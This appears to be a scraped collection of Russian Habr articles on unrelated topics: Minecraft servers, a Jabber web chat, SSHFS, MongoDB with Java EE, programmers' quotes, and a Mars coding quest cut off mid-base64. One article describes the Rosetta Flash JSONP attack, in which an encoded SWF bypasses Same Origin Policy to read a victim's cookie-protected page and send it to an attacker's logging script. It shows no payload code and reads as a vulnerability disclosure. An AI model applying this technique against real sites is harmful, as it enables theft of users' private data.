Сообщения и звонки по умолчанию разнесены на разные иконки. Однако в меню сообщений и телефона их можно объединять/разъединять без заумных настроек, притом все по отдельности. К примеру можно оставить два значка телефона и общий значок сообщений. В одиночном режиме через дефис пишется название сим-карты, к примеру «Телефон — Megafon», цветовая индикация сим-карт при этом сохраняется. В совмещенном режиме о принадлежности записи к сим-карте обозначается подписью названия внизу записи в списке и цветом при просмотре диалога. Переключение между сим-картами осуществляется сверху справа, аккурат под большим пальцем. Единственный неприятный момент — уведомления о доставке смс приходят от абонента «Оператор», что не есть всегда удобно. | https://habr.com/ru/post/226005/ | null | ru | null |
# Поднимаем свой полноценный игровой Minecraft сервер с мини-играми. Часть 2. Устанавливаем карту для лобби сервера
[Часть 1. Выбираем и устанавливаем сервер](https://habr.com/ru/post/496498/)
[Часть 3. Устанавливаем мини-игры](https://habr.com/ru/post/496774/)
Посмотреть, что в итоге получилось у меня: mc.piratebayserver.net
По любым вопросам пишите в [Discord](https://discord.gg/QjWSQhx).
После публикации [первой части](https://habr.com/ru/post/496498/) статьи по установке своего Minecraft сервера, ко мне обратился один читатель Хабра. В письме он написал, что по неосторожности показал мою статью своим детям и ему пришлось пообещать сделать все, как написано. Теперь я, как отец двух детей, просто не имею морального права не закончить серию этих статей. Поэтому поехали.
В первой части мы создали виртуальный сервер, скачали и запустили наш первый Minecraft сервер на [Paper](https://papermc.io/). Кто проделал все шаги сразу после публикации статьи, прошу обратить внимание на некоторые исправления, которые последовали после. Так, по советам в комментариях, я создал отдельного пользователя на виртуальном сервере. Поэтому все дальнейшие действия после создания пользователя будут выполнятся из под него. Запуск приложений из под **root** пользователя является плохой практикой и это просто не безопасно, так как предоставляет запускаемым приложениям неограниченный доступ к серверу.
Теперь, когда у нас есть запущенный Minecraft сервер, не плохо было бы заменить сгенерированную карту мира на что-то более подходящее для лобби сервера. Лобби — это наш главный сервер, визитная карточка, он служит точкой входа для игроков. Именно отсюда игроки будут перенаправляться на другие наши сервера, такие, как сервера мини-игр или выживания.
Есть несколько способов импортирования карт на ваш сервер.
Самый простой — копирование папки с миром с вашего ПК в папку вашего сервера. Такой способ подходит, если вы создали карту самостоятельно в одиночной игре либо скачали из интернета в формате, готовом для использования. Как найти файлы карт, сохраненные игрой на вашем компьютере, можно посмотреть [здесь](https://faqusha.ru/saves/minecraft.html).
Второй способ — импорт карт с расширением schematic. Это формат, разработаный сообществом для хранения частей карт и использования их в сторонних программах, таких как [MCEdit](https://www.mcedit.net/), [WorldEdit](https://dev.bukkit.org/projects/worldedit), [FastAsyncWorldEdit](https://intellectualsites.github.io/download/fawe.html) и др.
Я буду использовать для импорта карт второй метод, так как он более трудоёмкий и знание этого процесса может пригодиться вам в будущем. Если вы планируете использовать готовые архивы миров, можете пропустить этот пункт и просто скопировать папку с миром в папку сервера ~/PirateBay/.
Так, например, все карты, которые я покупал для своего сервера, шли в формате shematic. Так же, этот метод позволяет редактировать импортированые карты, например вырезать или копировать отдельные части. Мне это понадобилось, когда в купленом файле шли 4 набора островов для BedWars и нужно было разбить их на части по одному набору на сервер.
При использовании файлов в формате schematic для создания карт сервера вам понадобится пустой мир, в который вы будете импортировать карту. Обычно я использую два вида пустых миров: первый — это мир с одним блоком, второй — это океан. Первая карта подходит для создания миров для игр с воздушными островами, такими как SkyBlock, BedWars, SkyWars и тд. Океан же подходит для создания карт с островами в воде.
В интернете вы можете найти туториалы, как создать пустой мир или океан. Я же, ради сокращения размера статьи, просто прикреплю созданные мной карты:
* [Пустой мир](https://drive.google.com/file/d/16xJs4_SK6luQczfJh5ioZkc5D2s9jC8G/view?usp=sharing)
* [Океан](https://drive.google.com/file/d/1jiCX4wjoelsemk6bU4Xg0A2fzR2MUF9O/view?usp=sharing)
Сперва мы запустим сервер на пустой карте, потом при помощи плагина [FastAsyncWorldEdit](https://github.com/IntellectualSites/FastAsyncWorldEdit/wiki) импортируем необходимую карту в пустом мире.
Для удобства дальнейшей установки и редактирования плагинов, а с моей строны для сокращения количества комманд в статье, устанавливаем FTP клиент для подключения к нашему серверу. Я установил [FileZilla](https://filezilla-project.org/).
После установки FTP клиента, подключаемся к серверу и переходим в папку с плагинами. У меня это /home/dinikin/PirateBay/plugins. Для краткости и универсальности буду писать ~/PirateBay/plugins.
Скачиваем jar файл плагина [FastAsyncWorldEdit](https://ci.athion.net/job/FastAsyncWorldEdit-1.15/) и копируем в папку plugins на сервере. Так же скачиваем мой архив пустой карты Void.zip, распаковываем и подкладываем папку Void в папку Minecraft сервера ~/PirateBay.
Если вы запускали Minecraft сервер напрямую из терминала, то после закрытия сесии процесс автоматически завершится и сервер остановится. Что бы этого не происходило в дальнейшем, для запуска сервера мы будем использовать программу screen.
Заходим на сервер по ssh:
```
ssh -i ~/minecraft dinikin@ip_address
```
и проверяем, установлена ли программа:
```
screen --version
```
если возвращается версия программы, значит она установлена, иначе устанавливаем:
```
sudo apt-get install screen
```
и создаем файл start.sh для запуска Minecraft сервера:
```
cd ~/PirateBay/
nano start.sh
```
со следующим содержимым:
```
#!/bin/sh
screen -S PirateBay java -Xms1G -Xmx1G -XX:+UseConcMarkSweepGC -jar Paper-1.15.2.jar
```
Даем файлу права на выполнение:
```
chmod +x start.sh
```
Если сервер в вашей терминальной сессии на данном этапе был уже запущен, останавливаем его командой stop.
Перед повторным запуском нам нужно перенастроить наш сервер на новую карту. Открываем через FTP клиент файл ~/PirateBay/server.properties и устанавливаем следующие значения параметров:
```
level-name=Void
generate-structures=false
```
Если вы использовали карту из одиночной игры со своего ПК, либо скачали архив из интернета, тогда вместо Void укажите имя папки с файлами мира, предварительно скопировав их в папку ~/PirateBay/.
Дальше удаляем на сервере папки с ранее сгенерированными мирами:
world
world\_nether
world\_the\_end
Их можно оставить, но я предпочитаю удалять, что бы они в будущем случайно не использовались сервером, если я не изменил в каком то плагине или файле конфигурации название мира по умолчанию.
И так, запускаем сервер через sh скрипт:
```
./start.sh
```
теперь, если ваша терминальная сессия оборвется, вы можете посмотреть список запущеных серверов командой:
```
screen -ls
```
а подключиться командой:
```
screen -r PirateBay
```
или
```
screen -r 1234
```
где 1234 — id процесса из результатов выполнения команды screen -ls.
На самом деле, вместо PirateBay вы можете указать такое название процесса, по которому вам будет однозначно понятно, какой сервер запущен.
И так, мы устаноновили плагин для редактирования карт и перезапустили сервер. Подключаемся к нему из лаунчера игры.
Пустой мир загрузился и мы готовы импортировать какую нибудь карту для лобби. Я выбрал вот такую:
Давайте скачаем ее [здесь](https://www.planetminecraft.com/project/waith-spawn-spawn-hub-10/) и скопируем файл WaithSpawn.schematic в папку ~/PirateBay/plugins/FastAsyncWorldEdit/schematics/.
Теперь в запущеном игровом клиенте нажимаем / для открытия командной строки и пишем команду schematic. Как видим по сообщению, у нас нет прав на выполнение этой команды.
По умолчанию, большинство устанавливаемых плагинов ограничивают доступ к своим командам, открывая его только для оператора, т.е. администратора сервера. Переключаеся на терминальную сессию нашего сервера и пишем комманду /op Dinikin (в вашем случае это будет ваш никнейм):
Мы предоставили права администратора нашему пользователю и тепрерь можем повторно выполнить команду /schematic в игре:
Как видите, права появились. Но нас больше интересует команда /schematic list
Теперь в списке появилась наша загруженная карта. Нажимаем на нее мышкой и выполняем предложенную команду:
Когда команда выполнилась, выполняем команду //paste. Как результат, карта импортировалась в наш мир:
Поздравляю, мы добавили нашу первую карту на сервер.
Что мы будем делать в следующей части:
1. установим и настроим прокси сервер
2. запустим еще 3 сервера, 1 для прокси и 2 для мини-игр
3. установим мини-игры Murder Mystery и SkyBlock
4. создадим первого игрового персонажа, который будет перенаправлять нас из лобби на сервер с мини-игрой
5. настроим права к плагинам и командам сервера
Не переключайтесь! | https://habr.com/ru/post/496700/ | null | ru | null |
# Rosetta Flash — кодирование SWF для вызова из JSONP
**Michele Spagnuolo**, специалист по безопасности Google, написал утилиту, которая может закодировать любой SWF-файл любым словарем.
Зачем это нужно? Все очень просто — такой файл можно передать в качестве параметра callback в JSONP на сайте, с которого вам нужно получить информацию, таким образом, вы сможете обойти Same Origin Policy.
Эта проблема была достаточно давно известна, однако, ей не уделяли особого внимания именно из-за того, что получить SWF-файл, состоящий только из символов, которые можно задать как параметр callback, было крайне сложно, однако, сейчас такой инструмент появился.
Утилита использует zlib, алгоритм Хаффмана и брутфорс контрольной суммы ADLER32.
Из крупных сервисов, были уязвимы:
* Сервисы Google (accounts.google.com, books.google.com, maps.google.com)
* Youtube
* Ebay
* Instagram
* Twitter
* Tumblr
* Olark
#### Как же уязвимость использовалась?
Предположим, есть два домена: подконтрольный нам miki.net и тот, который нужно атаковать trovatel.net
На trovatel.net есть JSONP-скрипт, который принимает параметр из печатаемых символов:
```
http://trovatel.net/vulnerable_jsonp.php?callback=
```
Имеется секретная страница, которая выдает секрет, если на нее зайти с установленной cookie
```
http://trovatel.net/secret/secret.php
```
При заходе на страницу [miki.it/RosettaFlash](http://miki.it/RosettaFlash/), пользователя ждет такой код:
```
```
Где [miki.it/RosettaFlash/log.php](http://miki.it/RosettaFlash/log.php) — скрипт-логгер.
Браузер пользователя загрузит SWF-файл как бы от сайта trovatel.net, откроет страницу с секретом (и с правильными cookie, конечно же) и отправит ее содержимое на удаленный сервер злоумышленника. Все довольно просто и типично.
На данный момент, Adobe выпустила обновление Flash Player, в котором эксплуатация данной уязвимости невозможна.
#### Ссылки
[Информация в блоге автора](http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/)
[Более подробная информация в PDF](http://miki.it/RosettaFlash/RosettaFlash.pdf)
[Утилита на Github](https://github.com/mikispag/rosettaflash)
[CVE-2014-4671](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4671) | https://habr.com/ru/post/229639/ | null | ru | null |
# Джаббер чат на веб-странице
Прочитав пост на хабре про [онлайн чат для сайта через джаббер](http://habrahabr.ru/blogs/im/68300/), мне стало интересно — а как оно работает и как такое можно сделать самому, без готовых приложений. В итоге у меня получилась очень простая заготовка «чата для сайта через джаббер». К сожалению у меня нет выделенного сервера с линуксом для тестов, поэтому был использован локальный компьютер с Win7 (и сервером Apache).
Как это вообще должно работать: пользователь заходит на сайт, и видит окошко, куда можно разговаривать. После того как пользователь послал сообщение, оно прилетает на указанный джаббер аккаунт. Получатель этого сообщения может написать ответ и оно придёт посетителю сайта.
Что для этого нужно:
* Jabber сервер, можно публичный, можно локальный. Я выбрал [Openfire](http://www.igniterealtime.org/projects/openfire/) и установил его локально. Сервер должен поддерживать Bosh — [XEP-0124: Bidirectional-streams Over Synchronous HTTP](http://xmpp.org/extensions/xep-0124.html), об этом чуть позже.
* JS библиотека, которая будет реализовывать джаббер-клиент на сайте. Я взял Strophe. Это достаточно низкоуровневая библиотека, в которой нет функций типа «ПослатьСообщение(Куда, Текст)». Для достижения нужных действий нужно вручную составлять команды джаббер серверу (в XML). Удобные средства для создания XML в Strophe есть :)
BOSH
----
JS не умеет создавать TCP соединения с другим сервером/клиентом, что необходимо для реализации джаббер-клиента. JS может посылать только HTTP запросы. Поэтому нужен специальный механизм, который позволит работать с TCP соединениями посредством HTTP. Это и есть BOSH.
По-умолчанию BOSH в Openfire включён и имеет адрес `localhost:7070/http-bind`. Но если указать этот адрес при соединении, ничего не выходит. Проблема хорошо описана [здесь](http://www.malcollier.com/?p=14), что бы заработало нужно написать редирект для апача и раскомментировать модули proxy\_module и proxy\_http\_module:
httpd.conf:
```
ProxyRequests Off
ProxyPass /http-bind http://127.0.0.1:7070/http-bind/
ProxyPassReverse /http-bind http://127.0.0.1:7070/http-bind/
```
Чат на сайте
------------
Итак, всё очень просто, устанавливаем Openfire, создаём пользователя, например, site, и создаём тестовую страницу (в качестве основы я брал строфовский пример echobot). На странице есть поле, куда пользователь пишет своё сообщение, и поле с историей чата.
Пишем обработчик загрузки страницы, который будет логинится на джаббер сервер:
```
$(function () {
connection = new Strophe.Connection('/http-bind');
connection.connect('site@r1c', 'site', onConnect);
});
```
В обработчике onConnect мы добавляем «слушателя» на события, связанные с приходом сообщений (в случае успешного логина):
```
function onConnect(status){
if (status == Strophe.Status.CONNECTING) {
log('Strophe is connecting.');
}
else if (status == Strophe.Status.CONNFAIL) {
log('Strophe failed to connect.');
}
else if (status == Strophe.Status.DISCONNECTING) {
log('Strophe is disconnecting.');
}
else if (status == Strophe.Status.DISCONNECTED) {
log('Strophe is disconnected.');
}
else if (status == Strophe.Status.CONNECTED) {
log('Strophe is connected, ' + connection.jid);
connection.addHandler(onMessage, null, 'message', null, null, null);
connection.send($pres().tree());
}
}
```
Обработчику onMessage приходят XML данные. Разбираем их что бы узнать текст сообщения, кто отправитель и т.д.:
```
function onMessage(msg) {
var to = msg.getAttribute('to');
var from = msg.getAttribute('from');
var type = msg.getAttribute('type');
var elems = msg.getElementsByTagName('body');
if (type == "chat" && elems.length > 0) {
var body = elems[0];
AddText(Strophe.getText(body), 'in');
}
// we must return true to keep the handler alive.
// returning false would remove it after it finishes.
return true;
}
```
Обработчик кнопки «Отправить» формирует XML с необходимыми данными и просит Strophe отправить их. В качестве принимающего используется пользователь admin:
```
function Send(message) {
var msg = $msg({to: 'admin@r1c', from: connection.jid, type: 'chat'}).c('body').t(document.URL + '\n' + message);
connection.send(msg.tree());
AddText(message, 'out');
$('input#message').val('');
}
```
Итог
----
В итоге получился очень простой набросок, позволяющий общаться по джабберу через веб-страницу. Мне было интересно узнать как это работает в принципе, поэтому я не стал копать дальше. Что-то мне подсказывает там есть куча подводных камней :)
Можно придумать ещё очень много усовершенствований. Например:
* Нормальный интерфейс чата на сайте :)
* Автоматическая регистрация новых пользователей на джаббер-сервере, если в этом есть необходимость. Для этого можно использовать In-band registration — регистрация через XML команды джаббера, а не через веб-интерфейс.
* Сохранение состояния чата при переходе между разными страницами сайта
* Сохранение истории чата на сервере
* и т.д. | https://habr.com/ru/post/69693/ | null | ru | null |
# Что значит быть программистом?
Привет, хабровчане! В прошедшую субботу, **12 сентября, айтишники по всему миру отмечали 256 день в году — День программиста**. Мы в [OTUS](https://otus.ru/?utm_source=habr&utm_medium=affilate&utm_campaign=otus&utm_term=14.09.2020) присоединились к празднованию и попросили преподавателей рассказать, что по их мнению значит «быть программистом». [Заходите на страничку-поздравление сюда](https://landing.otus.ru/256-day?utm_campaign=otus&utm_medium=internal&utm_source=habr&utm_content=habr&utm_term=programer_14.09.20).
Всех заглянувших на сайт мы попросили поделиться своим вариантом. Сегодня публикуем здесь подборку самых интересных ответов.
**Важно: данная заметка не является технической и была написана исключительно для поднятия настроения у всех причастных :-).**
Быть программистом — это...
---------------------------
---
Когда ложишься спать и приходит новая идея, как оптимизировать код… — *Nikolay*
---
---
Натягивать сову на глобус в самых экстремальных условиях ;) — *Юрий Маслов*
---
---
Все время работать над собой. — *Nasib*
---
---
Превращать кофе и печеньки в костыли и велосипеды) — *Валера*
---
---
Получать удовольствие от автоматизации процессов. — *Алексей Колосков*
---
---
Настолько погружаться и абстрагироваться от внешнего мира, что порой даже не хочется возвращаться в реальность. — *Сергей*
---
---
Быть программистом — это мечта всей моей жизни! — *Андрей*
---
---
Получать удовольствие от решения задач. — *Артем*
---
---
Получать удовольствие от процесса, бесконечно совершенствуя код...— *Ольга*
---
---
Интегрировать желтое с круглым...— *Sergey*
---
---
Это как математика + английский, только дольше, интересней и трудней. — *Родион*
---
---
Читать код как сказку и знать заранее, какой результат он выводит после исполнения. — *Елена\_Федоренко*
---
---
Это когда переустановил операционную систему, и ты уже программист.
А если не разбираешься в холодильниках, то уже погромист XD — *Артем*
---
---
Пребывать в состоянии творчества 24/7 — 8 часов сна. — *Максим*
---
---
`code();
eat();
sleep();
repeat(); — *O*.`
---
---
Знать как выйти из Vim. — *Олег*
---
---
Всегда прогрессировать. — *Даник*
---
---
Менять мир к лучшему. — *Сергей Кундрюков*
---
---
Быть программистом, это как маг в НИИ «ЧаВо», которые «[...]были магами потому, что очень много знали, так много, что количество перешло у них наконец в качество, и они стали с миром в другие отношения, нежели обычные люди. Они работали в институте, который занимался прежде всего проблемами человеческого счастья и смысла человеческой жизни, но даже среди них никто точно не знал, что такое счастье и в чём именно смысл жизни. И они приняли рабочую гипотезу, что счастье в непрерывном познании неизвестного и смысл жизни в том же.» А, лучше, пожалуй, и не скажешь.— *Александр*
---
---
Быть лучше каждый день. — *Михаил Исаев*
---
---
Получать удовольствие от создания программ никому неизвестных ранее. — *Геннадий Бабкин*
---
---
Быть программистом — это ловить дикий кайф, когда все скомпилиось и этим пользуются! Когда ты понимаешь, что любая строчка кода, написанная тобой, может изменить завтра! — *Алексей*
---
---
Анализировать задачу, декомпозировать и реализовывать. — *Денис*
---
---
Быть преподавателем и студентом одновременно) — *Павел*
---
---
Быть супер героем в мире IT! — *Андрей*
---
---
Делать наш мир лучше. — *Нурболат*
---
---
Все время сомневаться в своих способностях. — *Фаррух*
---
---
Когда ты, просто нажимая 5-тый раз кнопку «Debug», фиксишь программу. — *Дмитро*
---
---
Быть не в состоянии объяснить своей девушке, чем ты вообще занимался до 5 утра. — *Александр*
---
---
Находить веселье в коде. — *Юлия*
---
---
Ловить кайф от решения проблем. — *Анна*
---
---
Учиться работать над собой, решать задачи, создавать программы и узнавать всё новое и новое в мире программирование. — *Шахло*
---
---
Быть целеустремленным лентяем. — *Артем*
---
---
Быть зеркалом, отражающим и отражающемся в бесконечном множестве других зеркал. — *Егор*
---
---
Ощущать, будто твой мозг — самая сильная мышца в твоём организме. — *Тина*
---
---
Быть переводчиком между человеком и машиной. — *Сергей Андрейкин*
---
---
Уметь из бага сделать фичу...— *Эдуард*
---
---
Могу сделать любую прогу,… а смотрю видео про котиков...— *Татьяна*
---
---
Программист не профессия, а стиль жизни. — *Буланов Сергей*
---
Какой ответ понравился вам больше всего? А что для вас значит быть программистом? Будем рады, если поделитесь в комментариях. | https://habr.com/ru/post/519082/ | null | ru | null |
# GUI для подключения сетевых томов через SSH
Моё приложение является обычной «мордой» к [консольному приложению sshfs](http://pqrs.org/macosx/sshfs/index.html) и доступно для скачивания по адресу [code.google.com/p/sshfs-gui](http://code.google.com/p/sshfs-gui/). Оно было написано мной для обучения программированию под Cocoa и является моим первым графическим приложением под Mac OS X.
#### Установка и использование
Для установки приложения необходимо выполнить следующие действия:
* Скачать и установить [консольный sshfs](http://pqrs.org/macosx/sshfs/index.html), после чего перезагрузить компьютер.
* Скачать и установить моё приложение: [sshfs-gui.googlecode.com/files/sshfs-gui.1.0.dmg](http://sshfs-gui.googlecode.com/files/sshfs-gui.1.0.dmg)
Для того, чтобы смонтировать какой-либо том, заполните необходимые поля (в случае авторизации по SSH ключам пароль вводить не обязательно) и нажмите Connect.
> **Важно:** Если вы ни разу до этого не соединялись с указанным вами хостом по SSH, то необходимо перед этим соединиться с хостом по SSH, набрав в Терминале указанную ниже строчку и добавив хост в список известных (то есть, ввести «yes» в начале).
>
>
>
> `$ ssh *login*@*server*`
Если соединение пройдет успешно, то после этого в Finder откроется смонтированный сетевой том. Вы можете, потянув за иконку тома в заголовке Finder, перетащить сетевой том в боковую панель Finder в раздел «Устройства (Devices)», и тогда этот том будет там отображаться всегда, когда подключен этот сетевой том.
**P.S.** Приложение сделано «на скорую руку» и не может обрабатывать корректно все возможные ситуации. Для этого предусмотрена кнопка «Stop» :). Также, у приложения отсуствует своя иконка и About-диалог со справкой. Если есть желание помочь в улучшении приложения — обращайтесь.
#### Скринкаст
Не могу не удержаться и опубликовать небольшой скринкаст, в котором наглядно показывается, как это всё работает.
#### Доп. материалы, благодарности
* [Сайт проекта на Google Code с исходными текстами и запасной ссылкой для скачивания sshfs](http://code.google.com/p/sshfs-gui/)
* Спасибо хабрапользователю [switchON](https://geektimes.ru/users/switchon/) за повод для написания приложения и за тестирование приложения
#### Планы на будущее:
* Добавить возможность указывать порт подключения
* Проверять логин и имя сервера на допустимость
* Не заставлять пользователей входить по SSH вручную в первый раз
* Предлагать запоминать пароли в Keychain
#### «Аналоги»
* **MacFusion:** [www.macfusionapp.org](http://www.macfusionapp.org/)
Будьте осторожны, MacFusion во время работы отключает проверку RSA отпечатков сервера, что может не входить в ваши планы. После того, как установите MacFUSE и MacFusion.app, выполните в консоли команду
> `mv /Applications/Macfusion.app/Contents/PlugIns/sshfs.mfplugin/Contents/Resources/sshnodelay.so /Applications/Macfusion.app/Contents/PlugIns/sshfs.mfplugin/Contents/Resources/sshnodelay.so.bak`
За информацию спасибо [noma4i](https://geektimes.ru/users/noma4i/)
* **FUSE под Windows:** [dokan-dev.net/en/download](http://dokan-dev.net/en/download/)
Спасибо за ссылку пользователю [gromka](https://geektimes.ru/users/gromka/) | https://habr.com/ru/post/80401/ | null | ru | null |
# Использование MongoDB в Java EE 6
MongoDB — документо-ориентированная NoSQL СУБД, не требующая описания схемы таблиц. Больше о ней можно узнать на [оф. сайте](http://www.mongodb.org/), а в данной статье я опишу пример использования MongoDB в Java EE 6 приложении.
Напишем небольшое приложение, реализующее select — insert операции в MongoDB. Будет использована среда NetBeans 7.0 и сервер приложений GlassFish.
##### Установка
Для начала скачиваем [отсюда](http://www.mongodb.org/downloads) MongoDB для конкретной платформы.
Затем запускаем сервер. Для этого необходимо запустить mongod.exe из папки bin. Перед этим необходимо создать директорию /data/db, которая будет по умолчанию использоваться для хранения данных.
При запуске сервера можно также указать другую папку для хранения данных, для этого нужно указать параметр *--dbpath [имя папки]*.
##### Создание проекта
В NetBeans создаем WebApplication проект. Указываем сервер GlassFish, JavaEE версию — Java EE 6. Также необходимо отметить пункт *Enable Contexts and Dependency Injection* и добавить JavaServer Faces фреймверк.
Для использования MongoDB к проекту нужно подключить [MongoDB Java Driver](https://github.com/mongodb/mongo-java-driver/downloads).
##### Код
Приложение будет хранить и отображать список книг. Создадим класс Book:
```
import com.mongodb.BasicDBObject;
import com.mongodb.DBObject;
import javax.enterprise.inject.Model;
import javax.validation.constraints.Size;
@Model
public class Book {
@Size(min = 1, max = 20)
private String name;
@Size(min = 1, max = 20)
private String author;
@Size(min = 1, max = 20)
private String language;
private int year;
//геттеры и сеттеры для полей
public BasicDBObject toDBObject() {
BasicDBObject document = new BasicDBObject();
document.put("name", name);
document.put("year", year);
document.put("language", language);
document.put("author", author);
return document;
}
public static Book fromDBObject(DBObject document) {
Book b = new Book();
b.name = (String) document.get("name");
b.year = (Integer) document.get("year");
b.language = (String) document.get("language");
b.author = (String) document.get("author");
return b;
}
}
```
Здесь методы «toDBObject» и «fromDBObject» обеспечивают преобразования из класса Book в DBObject и наоборот. [DBObject](http://api.mongodb.org/java/2.6.3/) это интерфейс, инкапсулирующий набор пар ключ-значение, которые могут быть сохранены в базу. Здесь используется реализация этого интерфейса BasicDBObject.
Создадим также stateless bean, содержащий всю логику приложения:
```
import com.mongodb.BasicDBObject;
import com.mongodb.DB;
import com.mongodb.DBCollection;
import com.mongodb.DBCursor;
import com.mongodb.DBObject;
import com.mongodb.Mongo;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.List;
import javax.annotation.PostConstruct;
import javax.ejb.Stateless;
import javax.inject.Inject;
import javax.inject.Named;
@Stateless
@Named
public class BookSessionBean {
@Inject Book book;
private DBCollection bookCollection;
@PostConstruct
private void initDB() throws UnknownHostException {
Mongo mongo = new Mongo();
DB db = mongo.getDB("booksDB");
bookCollection = db.getCollection("books");
if (bookCollection == null) {
bookCollection = db.createCollection("books", null);
}
}
public void createBook() {
BasicDBObject doc = book.toDBObject();
bookCollection.insert(doc);
}
public List getBooks() {
List books = new ArrayList();
DBCursor cursor = bookCollection.find();
while (cursor.hasNext()) {
DBObject dbo = cursor.next();
books.add(Book.fromDBObject(dbo));
}
return books;
}
}
```
База данных инициализируется в методе «initDB» с аннотацией *@PostConstruct*.
Коллекция «DBCollection» позволяет выполнять запросы к базе. Вызов метода «find» в методе «getBooks» эквивалентен SQL запросу «select \* from books». Метод «find» возвращает курсор «DBCursor», который можно использовать как итератор по результатам запроса к БД.
Осталось только создать страницы добавления и отображения данных. Изменим «index.xhtml», чтобы она выглядела следующим образом:
```
Add new book
=============
Name:
Year:
Language:
Author:
```
Добавим также страницу «show.xhtml» для отображения записей из БД:
```
Name#{b.name}
Year#{b.year}
Language#{b.language}
Author#{b.author}
```
##### Результат
Запустив проект, увидим главную страницу:
После заполнения полей и нажатия кнопки submit попадаем на страницу «show.xhtml» где отображаются все записи в БД.
##### Ссылки
* [Оригинал](http://blogs.oracle.com/arungupta/entry/totd_166_using_nosql_database)
* [Отображение SQL запросов в язык запросов MongoDB](http://www.mongodb.org/display/DOCS/SQL+to+Mongo+Mapping+Chart)
* [Туториал по работе с MongoDB](http://www.mongodb.org/display/DOCS/Tutorial)
* [Некоторые варианты использования MongoDB](http://cookbook.mongodb.org/) | https://habr.com/ru/post/123502/ | null | ru | null |
# Как я Марс спасал или небольшой квест на питоне
Привет, Мир!
Август 2018
-----------
На улице стоит жаркое лето, плавно подходящее к концу, а я сижу в прохладной комнате с ноутбуком и серфлю интернет в поиске интересных вещей. Потеряв надежду найти что-либо стоящее внимания, вдруг, натыкаюсь в одной из довольно популярных околоайтишных групп вконтакте пост со [ссылкой](https://vc.ru/mars) на еще один айти ресурс. Квест показался мне интересным, ведь это почти классический текстовый квест в космическом сеттинге, да еще и программировать тут нужно!
Поэтому в этой статье речь пойдет о том, как я ~~играл~~ решал этот квест.
По ссылке нас ждет введение в квест следующим текстом:
`2022 год. Ракета-носитель KASP со 120 колонистами на борту и электромобилем с открытым верхом приближается к Марсу.
Перед началом посадки выясняется, что одна из систем корабля неисправна. Центр управления полётами пытается передать инструкции экипажу, но из-за солнечной бури сообщение приходит на KASP беспорядочными фрагментами. От вас зависит судьба миссии — расшифруйте сообщение и следуйте инструкциям ЦУП.`
После выбора языка – доступны C++, C# и Python, нас ждет страница с «сообщением от ЦУПа», которое представляет собой набор символов в определенной кодировке. Чтобы пройти на следующий этап нужно декодировать сообщение, отсортировав куски сообщения в порядке увеличения длины сообщения и ввести **md5-хэш** полученного сообщения.
Но что сортировать, скажете вы? То, что это сообщение представляет собой некую кодировку становится понятно сразу, какую именно можно легко понять, воспользовавшись похожим [ресурсом](https://www.artlebedev.ru/decoder/), например.
Поняв, что это **base64**, начинаем его декодировать. Я сделал это **на python'е**:
**Декодируем base64:**
```
import base64
code = """W3siaWQiOjMxLCJzIjoib255OiAxIG1hbiJ9LHsiaWQiOjI3LCJzIjoiZGUgYWxsIHNwZSJ9LHsiaWQiOjYxLCJzIjoicyB3aWxsIGZhYyJ9LHsiaWQiOjU1LCJzIjoib3V0IG1lbiwgYSJ9LHsiaWQiOjQyLCJzIjoibnRpc3RzLlxuMi4ifSx7ImlkIjoxOCwicyI6Im4uIE91ciBzb2MifSx7ImlkIjo3MCwicyI6InRoZSBwbGFuZXQifSx7ImlkIjo1LCJzIjoiLiBPbmUgb3BlciJ9LHsiaWQiOjY0LCJzIjoiIGNvbmRpdGlvbiJ9LHsiaWQiOjQ0LCJzIjoieSBoYXZlIHRvICJ9LHsiaWQiOjQ5LCJzIjoic3QgNTElIG9mICJ9LHsiaWQiOjU4LCJzIjoiaXN0cyBtdXN0ICJ9LHsiaWQiOjcxLCJzIjoiLiBTZWxlY3QgcCJ9LHsiaWQiOjU5LCJzIjoiYmUgbWFsZS5cbjMifSx7ImlkIjo4NSwicyI6ImhlIGZvbGxvd2kifSx7ImlkIjo0MywicyI6IiBUaGUgY29sb24ifSx7ImlkIjo3MywicyI6IiByZXNpbGllbmMifSx7ImlkIjoyNCwicyI6InNlbGVjdGlvbi4ifSx7ImlkIjo2MiwicyI6ImUgYWxsIGtpbmQifSx7ImlkIjo0NywicyI6Im5lcmF0aW9ucywifSx7ImlkIjoxMDUsInMiOiJlb3BsZSB3aG8gIn0seyJpZCI6MTAzLCJzIjoicm1hdGlvbiwgcyJ9LHsiaWQiOjIyLCJzIjoiaWFzIHRvIHNpbSJ9LHsiaWQiOjg2LCJzIjoibmcgZm9ybWF0OiJ9LHsiaWQiOjIsInMiOiJwJ3MgbGFuZGVyIn0seyJpZCI6MzYsInMiOiIgY29tcHV0ZXIgIn0seyJpZCI6NDgsInMiOiIgc28gYXQgbGVhIn0seyJpZCI6MTYsInMiOiJmb3IgTWFycyBjIn0seyJpZCI6NzUsInMiOiIwIGFuZCBtb3JlIn0seyJpZCI6MTEsInMiOiIuIFlvdSBoYXZlIn0seyJpZCI6OTUsInMiOiJlbWFsZSA9IDAsIn0seyJpZCI6NjgsInMiOiJwbGUgc2hvdWxkIn0seyJpZCI6NDEsInMiOiJzLCAxNCBzY2llIn0seyJpZCI6NywicyI6IiwgYnV0IGlzIHUifSx7ImlkIjo5OCwicyI6ImUgcmF0aW5nXG5lIn0seyJpZCI6MCwicyI6IlR3byBvZiB0aGUifSx7ImlkIjoxMDEsInMiOiIuXG5cbktub3dpbmcifSx7ImlkIjozMywicyI6Im9rcywgNCBlbGUifSx7ImlkIjo5NywicyI6IjtSZXNpbGllbmMifSx7ImlkIjo1MSwicyI6Im9sb25pc3RzIG0ifSx7ImlkIjoxMDgsInMiOiJkIFBsYW5ldC4ifSx7ImlkIjoxMDAsInMiOiJicmVhayAtIFxcbiJ9LHsiaWQiOjYwLCJzIjoiLiBDb2xvbmlzdCJ9LHsiaWQiOjQwLCJzIjoiOCBtZWNoYW5pYyJ9LHsiaWQiOjc4LCJzIjoiMTAwLlxuXG5UaGUgIn0seyJpZCI6MSwicyI6IiB0aHJlZSBzaGkifSx7ImlkIjoxMywicyI6IjAgbW9zdCBhcHAifSx7ImlkIjoxMiwicyI6IiB0byBwaWNrIDQifSx7ImlkIjo5MywicyI6IklEO1Byb2Zlc3MifSx7ImlkIjoxMDQsInMiOiJlbGVjdCA0MCBwIn0seyJpZCI6MzksInMiOiI1IG1lZGljcywgIn0seyJpZCI6OCwicyI6Im5hYmxlIHRvIGMifSx7ImlkIjo